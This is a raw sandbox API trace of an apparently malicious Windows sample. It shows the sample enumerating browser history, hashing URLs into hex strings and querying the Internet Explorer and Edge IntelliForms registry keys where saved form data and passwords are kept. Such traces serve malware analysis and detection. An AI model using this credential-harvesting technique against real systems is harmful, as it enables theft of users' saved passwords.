LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x75f170 [0053.522] lstrcpyA (in: lpString1=0x75f170, lpString2="2FF3DD033B" | out: lpString1="2FF3DD033B") returned="2FF3DD033B" [0053.522] lstrcatA (in: lpString1="2FF3DD033B", lpString2="67" | out: lpString1="2FF3DD033B67") returned="2FF3DD033B67" [0053.522] LocalFree (hMem=0x75f208) returned 0x0 [0053.522] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="EA") returned 2 [0053.522] lstrlenA (lpString="2FF3DD033B67") returned 12 [0053.522] lstrlenA (lpString="EA") returned 2 [0053.522] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x75f208 [0053.522] lstrcpyA (in: lpString1=0x75f208, lpString2="2FF3DD033B67" | out: lpString1="2FF3DD033B67") returned="2FF3DD033B67" [0053.522] lstrcatA (in: lpString1="2FF3DD033B67", lpString2="EA" | out: lpString1="2FF3DD033B67EA") returned="2FF3DD033B67EA" [0053.522] LocalFree (hMem=0x75f170) returned 0x0 [0053.522] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B2") returned 2 [0053.522] lstrlenA (lpString="2FF3DD033B67EA") returned 14 [0053.522] lstrlenA (lpString="B2") returned 2 [0053.522] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x75f2a0 [0053.522] lstrcpyA (in: lpString1=0x75f2a0, lpString2="2FF3DD033B67EA" | out: lpString1="2FF3DD033B67EA") returned="2FF3DD033B67EA" [0053.522] lstrcatA (in: lpString1="2FF3DD033B67EA", lpString2="B2" | out: lpString1="2FF3DD033B67EAB2") returned="2FF3DD033B67EAB2" [0053.522] LocalFree (hMem=0x75f208) returned 0x0 [0053.522] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="8B") returned 2 [0053.522] lstrlenA (lpString="2FF3DD033B67EAB2") returned 16 [0053.522] lstrlenA (lpString="8B") returned 2 [0053.522] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x75f170 [0053.522] lstrcpyA (in: lpString1=0x75f170, lpString2="2FF3DD033B67EAB2" | out: lpString1="2FF3DD033B67EAB2") returned="2FF3DD033B67EAB2" [0053.523] lstrcatA (in: lpString1="2FF3DD033B67EAB2", lpString2="8B" | out: lpString1="2FF3DD033B67EAB28B") returned="2FF3DD033B67EAB28B" [0053.523] LocalFree (hMem=0x75f2a0) returned 0x0 [0053.523] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="27") returned 2 [0053.523] lstrlenA (lpString="2FF3DD033B67EAB28B") returned 18 [0053.523] lstrlenA (lpString="27") returned 2 [0053.523] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x75f210 [0053.523] lstrcpyA (in: lpString1=0x75f210, lpString2="2FF3DD033B67EAB28B" | out: lpString1="2FF3DD033B67EAB28B") returned="2FF3DD033B67EAB28B" [0053.523] lstrcatA (in: lpString1="2FF3DD033B67EAB28B", lpString2="27" | out: lpString1="2FF3DD033B67EAB28B27") returned="2FF3DD033B67EAB28B27" [0053.523] LocalFree (hMem=0x75f170) returned 0x0 [0053.523] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="2C") returned 2 [0053.523] lstrlenA (lpString="2FF3DD033B67EAB28B27") returned 20 [0053.523] lstrlenA (lpString="2C") returned 2 [0053.523] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x75f170 [0053.523] lstrcpyA (in: lpString1=0x75f170, lpString2="2FF3DD033B67EAB28B27" | out: lpString1="2FF3DD033B67EAB28B27") returned="2FF3DD033B67EAB28B27" [0053.523] lstrcatA (in: lpString1="2FF3DD033B67EAB28B27", lpString2="2C" | out: lpString1="2FF3DD033B67EAB28B272C") returned="2FF3DD033B67EAB28B272C" [0053.523] LocalFree (hMem=0x75f210) returned 0x0 [0053.523] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="8A") returned 2 [0053.523] lstrlenA (lpString="2FF3DD033B67EAB28B272C") returned 22 [0053.523] lstrlenA (lpString="8A") returned 2 [0053.523] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758820 [0053.523] lstrcpyA (in: lpString1=0x758820, lpString2="2FF3DD033B67EAB28B272C" | out: lpString1="2FF3DD033B67EAB28B272C") returned="2FF3DD033B67EAB28B272C" [0053.523] lstrcatA (in: lpString1="2FF3DD033B67EAB28B272C", lpString2="8A" | out: lpString1="2FF3DD033B67EAB28B272C8A") returned="2FF3DD033B67EAB28B272C8A" [0053.523] LocalFree (hMem=0x75f170) returned 0x0 [0053.523] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="69") returned 2 [0053.523] lstrlenA (lpString="2FF3DD033B67EAB28B272C8A") returned 24 [0053.523] lstrlenA (lpString="69") returned 2 [0053.523] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758a18 [0053.523] lstrcpyA (in: lpString1=0x758a18, lpString2="2FF3DD033B67EAB28B272C8A" | out: lpString1="2FF3DD033B67EAB28B272C8A") returned="2FF3DD033B67EAB28B272C8A" [0053.523] lstrcatA (in: lpString1="2FF3DD033B67EAB28B272C8A", lpString2="69" | out: lpString1="2FF3DD033B67EAB28B272C8A69") returned="2FF3DD033B67EAB28B272C8A69" [0053.523] LocalFree (hMem=0x758820) returned 0x0 [0053.523] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="EA") returned 2 [0053.523] lstrlenA (lpString="2FF3DD033B67EAB28B272C8A69") returned 26 [0053.523] lstrlenA (lpString="EA") returned 2 [0053.523] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758820 [0053.523] lstrcpyA (in: lpString1=0x758820, lpString2="2FF3DD033B67EAB28B272C8A69" | out: lpString1="2FF3DD033B67EAB28B272C8A69") returned="2FF3DD033B67EAB28B272C8A69" [0053.523] lstrcatA (in: lpString1="2FF3DD033B67EAB28B272C8A69", lpString2="EA" | out: lpString1="2FF3DD033B67EAB28B272C8A69EA") returned="2FF3DD033B67EAB28B272C8A69EA" [0053.523] LocalFree (hMem=0x758a18) returned 0x0 [0053.523] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="DC") returned 2 [0053.523] lstrlenA (lpString="2FF3DD033B67EAB28B272C8A69EA") returned 28 [0053.523] lstrlenA (lpString="DC") returned 2 [0053.523] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758a18 [0053.523] lstrcpyA (in: lpString1=0x758a18, lpString2="2FF3DD033B67EAB28B272C8A69EA" | out: lpString1="2FF3DD033B67EAB28B272C8A69EA") returned="2FF3DD033B67EAB28B272C8A69EA" [0053.523] lstrcatA (in: lpString1="2FF3DD033B67EAB28B272C8A69EA", lpString2="DC" | out: lpString1="2FF3DD033B67EAB28B272C8A69EADC") returned="2FF3DD033B67EAB28B272C8A69EADC" [0053.523] LocalFree (hMem=0x758820) returned 0x0 [0053.523] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="71") returned 2 [0053.523] lstrlenA (lpString="2FF3DD033B67EAB28B272C8A69EADC") returned 30 [0053.523] lstrlenA (lpString="71") returned 2 [0053.523] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754820 [0053.523] lstrcpyA (in: lpString1=0x754820, lpString2="2FF3DD033B67EAB28B272C8A69EADC" | out: lpString1="2FF3DD033B67EAB28B272C8A69EADC") returned="2FF3DD033B67EAB28B272C8A69EADC" [0053.523] lstrcatA (in: lpString1="2FF3DD033B67EAB28B272C8A69EADC", lpString2="71" | out: lpString1="2FF3DD033B67EAB28B272C8A69EADC71") returned="2FF3DD033B67EAB28B272C8A69EADC71" [0053.523] LocalFree (hMem=0x758a18) returned 0x0 [0053.523] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="8F") returned 2 [0053.523] lstrlenA (lpString="2FF3DD033B67EAB28B272C8A69EADC71") returned 32 [0053.523] lstrlenA (lpString="8F") returned 2 [0053.523] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754a30 [0053.523] lstrcpyA (in: lpString1=0x754a30, lpString2="2FF3DD033B67EAB28B272C8A69EADC71" | out: lpString1="2FF3DD033B67EAB28B272C8A69EADC71") returned="2FF3DD033B67EAB28B272C8A69EADC71" [0053.523] lstrcatA (in: lpString1="2FF3DD033B67EAB28B272C8A69EADC71", lpString2="8F" | out: lpString1="2FF3DD033B67EAB28B272C8A69EADC718F") returned="2FF3DD033B67EAB28B272C8A69EADC718F" [0053.523] LocalFree (hMem=0x754820) returned 0x0 [0053.524] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="81") returned 2 [0053.524] lstrlenA (lpString="2FF3DD033B67EAB28B272C8A69EADC718F") returned 34 [0053.524] lstrlenA (lpString="81") returned 2 [0053.524] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x754820 [0053.524] lstrcpyA (in: lpString1=0x754820, lpString2="2FF3DD033B67EAB28B272C8A69EADC718F" | out: lpString1="2FF3DD033B67EAB28B272C8A69EADC718F") returned="2FF3DD033B67EAB28B272C8A69EADC718F" [0053.524] lstrcatA (in: lpString1="2FF3DD033B67EAB28B272C8A69EADC718F", lpString2="81" | out: lpString1="2FF3DD033B67EAB28B272C8A69EADC718F81") returned="2FF3DD033B67EAB28B272C8A69EADC718F81" [0053.524] LocalFree (hMem=0x754a30) returned 0x0 [0053.524] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="48") returned 2 [0053.524] lstrlenA (lpString="2FF3DD033B67EAB28B272C8A69EADC718F81") returned 36 [0053.524] lstrlenA (lpString="48") returned 2 [0053.524] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754a30 [0053.524] lstrcpyA (in: lpString1=0x754a30, lpString2="2FF3DD033B67EAB28B272C8A69EADC718F81" | out: lpString1="2FF3DD033B67EAB28B272C8A69EADC718F81") returned="2FF3DD033B67EAB28B272C8A69EADC718F81" [0053.524] lstrcatA (in: lpString1="2FF3DD033B67EAB28B272C8A69EADC718F81", lpString2="48" | out: lpString1="2FF3DD033B67EAB28B272C8A69EADC718F8148") returned="2FF3DD033B67EAB28B272C8A69EADC718F8148" [0053.524] LocalFree (hMem=0x754820) returned 0x0 [0053.524] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D0") returned 2 [0053.524] lstrlenA (lpString="2FF3DD033B67EAB28B272C8A69EADC718F8148") returned 38 [0053.524] lstrlenA (lpString="D0") returned 2 [0053.524] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750bb8 [0053.524] lstrcpyA (in: lpString1=0x750bb8, lpString2="2FF3DD033B67EAB28B272C8A69EADC718F8148" | out: lpString1="2FF3DD033B67EAB28B272C8A69EADC718F8148") returned="2FF3DD033B67EAB28B272C8A69EADC718F8148" [0053.524] lstrcatA (in: lpString1="2FF3DD033B67EAB28B272C8A69EADC718F8148", lpString2="D0" | out: lpString1="2FF3DD033B67EAB28B272C8A69EADC718F8148D0") returned="2FF3DD033B67EAB28B272C8A69EADC718F8148D0" [0053.524] LocalFree (hMem=0x754a30) returned 0x0 [0053.524] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="70") returned 2 [0053.524] lstrlenA (lpString="2FF3DD033B67EAB28B272C8A69EADC718F8148D0") returned 40 [0053.524] lstrlenA (lpString="70") returned 2 [0053.524] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750a48 [0053.524] lstrcpyA (in: lpString1=0x750a48, lpString2="2FF3DD033B67EAB28B272C8A69EADC718F8148D0" | out: lpString1="2FF3DD033B67EAB28B272C8A69EADC718F8148D0") returned="2FF3DD033B67EAB28B272C8A69EADC718F8148D0" [0053.524] lstrcatA (in: lpString1="2FF3DD033B67EAB28B272C8A69EADC718F8148D0", lpString2="70" | out: lpString1="2FF3DD033B67EAB28B272C8A69EADC718F8148D070") returned="2FF3DD033B67EAB28B272C8A69EADC718F8148D070" [0053.524] LocalFree (hMem=0x750bb8) returned 0x0 [0053.524] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.524] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.524] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.524] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.524] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.524] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.524] LocalFree (hMem=0x750a48) returned 0x0 [0053.524] CoTaskMemFree (pv=0x75f090) [0053.525] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.525] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/WobKZOa.jpg", lpSrch="?") returned 0x0 [0053.525] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/WobKZOa.jpg") returned 53 [0053.525] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="9A") returned 2 [0053.525] lstrlenA (lpString="") returned 0 [0053.525] lstrlenA (lpString="9A") returned 2 [0053.525] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x75f180 [0053.525] lstrcpyA (in: lpString1=0x75f180, lpString2="" | out: lpString1="") returned="" [0053.525] lstrcatA (in: lpString1="", lpString2="9A" | out: lpString1="9A") returned="9A" [0053.525] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="EA") returned 2 [0053.525] lstrlenA (lpString="9A") returned 2 [0053.525] lstrlenA (lpString="EA") returned 2 [0053.525] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x75f210 [0053.525] lstrcpyA (in: lpString1=0x75f210, lpString2="9A" | out: lpString1="9A") returned="9A" [0053.525] lstrcatA (in: lpString1="9A", lpString2="EA" | out: lpString1="9AEA") returned="9AEA" [0053.525] LocalFree (hMem=0x75f180) returned 0x0 [0053.525] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="62") returned 2 [0053.525] lstrlenA (lpString="9AEA") returned 4 [0053.525] lstrlenA (lpString="62") returned 2 [0053.525] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x75f180 [0053.525] lstrcpyA (in: lpString1=0x75f180, lpString2="9AEA" | out: lpString1="9AEA") returned="9AEA" [0053.525] lstrcatA (in: lpString1="9AEA", lpString2="62" | out: lpString1="9AEA62") returned="9AEA62" [0053.525] LocalFree (hMem=0x75f210) returned 0x0 [0053.525] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="42") returned 2 [0053.525] lstrlenA (lpString="9AEA62") returned 6 [0053.525] lstrlenA (lpString="42") returned 2 [0053.525] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x75f210 [0053.525] lstrcpyA (in: lpString1=0x75f210, lpString2="9AEA62" | out: lpString1="9AEA62") returned="9AEA62" [0053.526] lstrcatA (in: lpString1="9AEA62", lpString2="42" | out: lpString1="9AEA6242") returned="9AEA6242" [0053.526] LocalFree (hMem=0x75f180) returned 0x0 [0053.526] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="F6") returned 2 [0053.526] lstrlenA (lpString="9AEA6242") returned 8 [0053.526] lstrlenA (lpString="F6") returned 2 [0053.526] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x75f2a8 [0053.526] lstrcpyA (in: lpString1=0x75f2a8, lpString2="9AEA6242" | out: lpString1="9AEA6242") returned="9AEA6242" [0053.526] lstrcatA (in: lpString1="9AEA6242", lpString2="F6" | out: lpString1="9AEA6242F6") returned="9AEA6242F6" [0053.526] LocalFree (hMem=0x75f210) returned 0x0 [0053.526] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="45") returned 2 [0053.526] lstrlenA (lpString="9AEA6242F6") returned 10 [0053.526] lstrlenA (lpString="45") returned 2 [0053.526] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x75f180 [0053.526] lstrcpyA (in: lpString1=0x75f180, lpString2="9AEA6242F6" | out: lpString1="9AEA6242F6") returned="9AEA6242F6" [0053.526] lstrcatA (in: lpString1="9AEA6242F6", lpString2="45" | out: lpString1="9AEA6242F645") returned="9AEA6242F645" [0053.526] LocalFree (hMem=0x75f2a8) returned 0x0 [0053.526] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="76") returned 2 [0053.526] lstrlenA (lpString="9AEA6242F645") returned 12 [0053.526] lstrlenA (lpString="76") returned 2 [0053.526] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x75f218 [0053.526] lstrcpyA (in: lpString1=0x75f218, lpString2="9AEA6242F645" | out: lpString1="9AEA6242F645") returned="9AEA6242F645" [0053.526] lstrcatA (in: lpString1="9AEA6242F645", lpString2="76" | out: lpString1="9AEA6242F64576") returned="9AEA6242F64576" [0053.526] LocalFree (hMem=0x75f180) returned 0x0 [0053.526] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="20") returned 2 [0053.526] lstrlenA (lpString="9AEA6242F64576") returned 14 [0053.526] lstrlenA (lpString="20") returned 2 [0053.526] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x75f2b0 [0053.526] lstrcpyA (in: lpString1=0x75f2b0, lpString2="9AEA6242F64576" | out: lpString1="9AEA6242F64576") returned="9AEA6242F64576" [0053.526] lstrcatA (in: lpString1="9AEA6242F64576", lpString2="20" | out: lpString1="9AEA6242F6457620") returned="9AEA6242F6457620" [0053.526] LocalFree (hMem=0x75f218) returned 0x0 [0053.526] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="A9") returned 2 [0053.526] lstrlenA (lpString="9AEA6242F6457620") returned 16 [0053.526] lstrlenA (lpString="A9") returned 2 [0053.526] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x75f180 [0053.526] lstrcpyA (in: lpString1=0x75f180, lpString2="9AEA6242F6457620" | out: lpString1="9AEA6242F6457620") returned="9AEA6242F6457620" [0053.526] lstrcatA (in: lpString1="9AEA6242F6457620", lpString2="A9" | out: lpString1="9AEA6242F6457620A9") returned="9AEA6242F6457620A9" [0053.526] LocalFree (hMem=0x75f2b0) returned 0x0 [0053.526] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="C0") returned 2 [0053.526] lstrlenA (lpString="9AEA6242F6457620A9") returned 18 [0053.526] lstrlenA (lpString="C0") returned 2 [0053.526] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x75f220 [0053.526] lstrcpyA (in: lpString1=0x75f220, lpString2="9AEA6242F6457620A9" | out: lpString1="9AEA6242F6457620A9") returned="9AEA6242F6457620A9" [0053.526] lstrcatA (in: lpString1="9AEA6242F6457620A9", lpString2="C0" | out: lpString1="9AEA6242F6457620A9C0") returned="9AEA6242F6457620A9C0" [0053.526] LocalFree (hMem=0x75f180) returned 0x0 [0053.526] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="2E") returned 2 [0053.526] lstrlenA (lpString="9AEA6242F6457620A9C0") returned 20 [0053.526] lstrlenA (lpString="2E") returned 2 [0053.526] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x75f180 [0053.526] lstrcpyA (in: lpString1=0x75f180, lpString2="9AEA6242F6457620A9C0" | out: lpString1="9AEA6242F6457620A9C0") returned="9AEA6242F6457620A9C0" [0053.526] lstrcatA (in: lpString1="9AEA6242F6457620A9C0", lpString2="2E" | out: lpString1="9AEA6242F6457620A9C02E") returned="9AEA6242F6457620A9C02E" [0053.526] LocalFree (hMem=0x75f220) returned 0x0 [0053.526] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="06") returned 2 [0053.526] lstrlenA (lpString="9AEA6242F6457620A9C02E") returned 22 [0053.526] lstrlenA (lpString="06") returned 2 [0053.526] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758a18 [0053.526] lstrcpyA (in: lpString1=0x758a18, lpString2="9AEA6242F6457620A9C02E" | out: lpString1="9AEA6242F6457620A9C02E") returned="9AEA6242F6457620A9C02E" [0053.526] lstrcatA (in: lpString1="9AEA6242F6457620A9C02E", lpString2="06" | out: lpString1="9AEA6242F6457620A9C02E06") returned="9AEA6242F6457620A9C02E06" [0053.527] LocalFree (hMem=0x75f180) returned 0x0 [0053.527] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="48") returned 2 [0053.527] lstrlenA (lpString="9AEA6242F6457620A9C02E06") returned 24 [0053.527] lstrlenA (lpString="48") returned 2 [0053.527] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758820 [0053.527] lstrcpyA (in: lpString1=0x758820, lpString2="9AEA6242F6457620A9C02E06" | out: lpString1="9AEA6242F6457620A9C02E06") returned="9AEA6242F6457620A9C02E06" [0053.527] lstrcatA (in: lpString1="9AEA6242F6457620A9C02E06", lpString2="48" | out: lpString1="9AEA6242F6457620A9C02E0648") returned="9AEA6242F6457620A9C02E0648" [0053.527] LocalFree (hMem=0x758a18) returned 0x0 [0053.527] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="99") returned 2 [0053.527] lstrlenA (lpString="9AEA6242F6457620A9C02E0648") returned 26 [0053.527] lstrlenA (lpString="99") returned 2 [0053.527] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758a18 [0053.527] lstrcpyA (in: lpString1=0x758a18, lpString2="9AEA6242F6457620A9C02E0648" | out: lpString1="9AEA6242F6457620A9C02E0648") returned="9AEA6242F6457620A9C02E0648" [0053.527] lstrcatA (in: lpString1="9AEA6242F6457620A9C02E0648", lpString2="99" | out: lpString1="9AEA6242F6457620A9C02E064899") returned="9AEA6242F6457620A9C02E064899" [0053.527] LocalFree (hMem=0x758820) returned 0x0 [0053.527] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="A9") returned 2 [0053.527] lstrlenA (lpString="9AEA6242F6457620A9C02E064899") returned 28 [0053.527] lstrlenA (lpString="A9") returned 2 [0053.527] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758820 [0053.527] lstrcpyA (in: lpString1=0x758820, lpString2="9AEA6242F6457620A9C02E064899" | out: lpString1="9AEA6242F6457620A9C02E064899") returned="9AEA6242F6457620A9C02E064899" [0053.527] lstrcatA (in: lpString1="9AEA6242F6457620A9C02E064899", lpString2="A9" | out: lpString1="9AEA6242F6457620A9C02E064899A9") returned="9AEA6242F6457620A9C02E064899A9" [0053.527] LocalFree (hMem=0x758a18) returned 0x0 [0053.527] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="2D") returned 2 [0053.527] lstrlenA (lpString="9AEA6242F6457620A9C02E064899A9") returned 30 [0053.527] lstrlenA (lpString="2D") returned 2 [0053.527] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754a30 [0053.527] lstrcpyA (in: lpString1=0x754a30, lpString2="9AEA6242F6457620A9C02E064899A9" | out: lpString1="9AEA6242F6457620A9C02E064899A9") returned="9AEA6242F6457620A9C02E064899A9" [0053.527] lstrcatA (in: lpString1="9AEA6242F6457620A9C02E064899A9", lpString2="2D" | out: lpString1="9AEA6242F6457620A9C02E064899A92D") returned="9AEA6242F6457620A9C02E064899A92D" [0053.527] LocalFree (hMem=0x758820) returned 0x0 [0053.527] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="82") returned 2 [0053.527] lstrlenA (lpString="9AEA6242F6457620A9C02E064899A92D") returned 32 [0053.527] lstrlenA (lpString="82") returned 2 [0053.527] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754820 [0053.527] lstrcpyA (in: lpString1=0x754820, lpString2="9AEA6242F6457620A9C02E064899A92D" | out: lpString1="9AEA6242F6457620A9C02E064899A92D") returned="9AEA6242F6457620A9C02E064899A92D" [0053.527] lstrcatA (in: lpString1="9AEA6242F6457620A9C02E064899A92D", lpString2="82" | out: lpString1="9AEA6242F6457620A9C02E064899A92D82") returned="9AEA6242F6457620A9C02E064899A92D82" [0053.527] LocalFree (hMem=0x754a30) returned 0x0 [0053.527] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="48") returned 2 [0053.527] lstrlenA (lpString="9AEA6242F6457620A9C02E064899A92D82") returned 34 [0053.527] lstrlenA (lpString="48") returned 2 [0053.527] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x754a30 [0053.527] lstrcpyA (in: lpString1=0x754a30, lpString2="9AEA6242F6457620A9C02E064899A92D82" | out: lpString1="9AEA6242F6457620A9C02E064899A92D82") returned="9AEA6242F6457620A9C02E064899A92D82" [0053.527] lstrcatA (in: lpString1="9AEA6242F6457620A9C02E064899A92D82", lpString2="48" | out: lpString1="9AEA6242F6457620A9C02E064899A92D8248") returned="9AEA6242F6457620A9C02E064899A92D8248" [0053.527] LocalFree (hMem=0x754820) returned 0x0 [0053.527] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="EC") returned 2 [0053.527] lstrlenA (lpString="9AEA6242F6457620A9C02E064899A92D8248") returned 36 [0053.527] lstrlenA (lpString="EC") returned 2 [0053.527] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754820 [0053.527] lstrcpyA (in: lpString1=0x754820, lpString2="9AEA6242F6457620A9C02E064899A92D8248" | out: lpString1="9AEA6242F6457620A9C02E064899A92D8248") returned="9AEA6242F6457620A9C02E064899A92D8248" [0053.527] lstrcatA (in: lpString1="9AEA6242F6457620A9C02E064899A92D8248", lpString2="EC" | out: lpString1="9AEA6242F6457620A9C02E064899A92D8248EC") returned="9AEA6242F6457620A9C02E064899A92D8248EC" [0053.527] LocalFree (hMem=0x754a30) returned 0x0 [0053.527] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="BE") returned 2 [0053.527] lstrlenA (lpString="9AEA6242F6457620A9C02E064899A92D8248EC") returned 38 [0053.527] lstrlenA (lpString="BE") returned 2 [0053.527] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750a48 [0053.527] lstrcpyA (in: lpString1=0x750a48, lpString2="9AEA6242F6457620A9C02E064899A92D8248EC" | out: lpString1="9AEA6242F6457620A9C02E064899A92D8248EC") returned="9AEA6242F6457620A9C02E064899A92D8248EC" [0053.527] lstrcatA (in: lpString1="9AEA6242F6457620A9C02E064899A92D8248EC", lpString2="BE" | out: lpString1="9AEA6242F6457620A9C02E064899A92D8248ECBE") returned="9AEA6242F6457620A9C02E064899A92D8248ECBE" [0053.527] LocalFree (hMem=0x754820) returned 0x0 [0053.527] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="C1") returned 2 [0053.528] lstrlenA (lpString="9AEA6242F6457620A9C02E064899A92D8248ECBE") returned 40 [0053.528] lstrlenA (lpString="C1") returned 2 [0053.528] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750bb8 [0053.528] lstrcpyA (in: lpString1=0x750bb8, lpString2="9AEA6242F6457620A9C02E064899A92D8248ECBE" | out: lpString1="9AEA6242F6457620A9C02E064899A92D8248ECBE") returned="9AEA6242F6457620A9C02E064899A92D8248ECBE" [0053.528] lstrcatA (in: lpString1="9AEA6242F6457620A9C02E064899A92D8248ECBE", lpString2="C1" | out: lpString1="9AEA6242F6457620A9C02E064899A92D8248ECBEC1") returned="9AEA6242F6457620A9C02E064899A92D8248ECBEC1" [0053.528] LocalFree (hMem=0x750a48) returned 0x0 [0053.528] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.528] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.528] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.528] 